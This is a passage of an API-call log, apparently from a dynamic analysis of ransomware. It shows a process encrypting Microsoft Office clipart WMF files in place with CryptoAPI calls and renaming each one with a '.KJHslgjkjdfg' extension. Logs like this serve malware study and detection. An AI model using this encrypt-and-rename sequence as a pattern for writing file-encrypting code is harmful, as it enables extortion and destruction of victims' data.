[0181.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.kjhslgjkjdfg")) returned 1 [0181.911] CloseHandle (hObject=0x114) returned 1 [0181.911] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0181.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.913] GetProcessHeap () returned 0x2a0000 [0181.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.918] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.918] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.918] GetProcessHeap () returned 0x2a0000 [0181.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.918] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.918] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.918] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.918] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.918] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.919] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.919] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.919] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.919] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.919] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.919] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.919] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20e4, lpOverlapped=0x0) returned 1 [0181.920] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0) returned 1 [0181.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.920] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20f0, lpOverlapped=0x0) returned 1 [0181.921] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.921] SetEndOfFile (hFile=0x114) returned 1 [0181.923] GetProcessHeap () returned 0x2a0000 [0181.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.923] GetProcessHeap () returned 0x2a0000 [0181.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.kjhslgjkjdfg")) returned 1 [0181.925] CloseHandle (hObject=0x114) returned 1 [0181.925] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0181.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.926] GetProcessHeap () returned 0x2a0000 [0181.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.926] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.929] GetProcessHeap () returned 0x2a0000 [0181.929] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.929] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.929] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.929] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.930] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.930] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.930] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.930] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7aa6, lpOverlapped=0x0) returned 1 [0181.933] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ab0) returned 1 [0181.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.933] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ab0, lpOverlapped=0x0) returned 1 [0181.933] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.934] SetEndOfFile (hFile=0x114) returned 1 [0181.937] GetProcessHeap () returned 0x2a0000 [0181.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.937] GetProcessHeap () returned 0x2a0000 [0181.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.kjhslgjkjdfg")) returned 1 [0181.938] CloseHandle (hObject=0x114) returned 1 [0181.938] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0181.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.943] GetProcessHeap () returned 0x2a0000 [0181.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.943] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.943] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.950] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.950] GetProcessHeap () returned 0x2a0000 [0181.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.951] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.951] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.951] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.951] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.951] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.951] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.951] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.951] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.952] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b64, lpOverlapped=0x0) returned 1 [0181.953] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70) returned 1 [0181.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.953] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b70, lpOverlapped=0x0) returned 1 [0181.953] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.953] SetEndOfFile (hFile=0x114) returned 1 [0181.957] GetProcessHeap () returned 0x2a0000 [0181.957] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.957] GetProcessHeap () returned 0x2a0000 [0181.957] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.kjhslgjkjdfg")) returned 1 [0181.959] CloseHandle (hObject=0x114) returned 1 [0181.959] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0181.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.961] GetProcessHeap () returned 0x2a0000 [0181.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.962] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.962] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.968] GetProcessHeap () returned 0x2a0000 [0181.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.969] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.969] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.969] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.969] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3658, lpOverlapped=0x0) returned 1 [0181.981] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3660, dwBufLen=0x3660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3660) returned 1 [0181.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.982] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3660, lpOverlapped=0x0) returned 1 [0181.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.982] SetEndOfFile (hFile=0x114) returned 1 [0181.985] GetProcessHeap () returned 0x2a0000 [0181.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.985] GetProcessHeap () returned 0x2a0000 [0181.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.kjhslgjkjdfg")) returned 1 [0181.987] CloseHandle (hObject=0x114) returned 1 [0181.987] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0181.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.989] GetProcessHeap () returned 0x2a0000 [0181.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.989] CryptGenRandom (in: 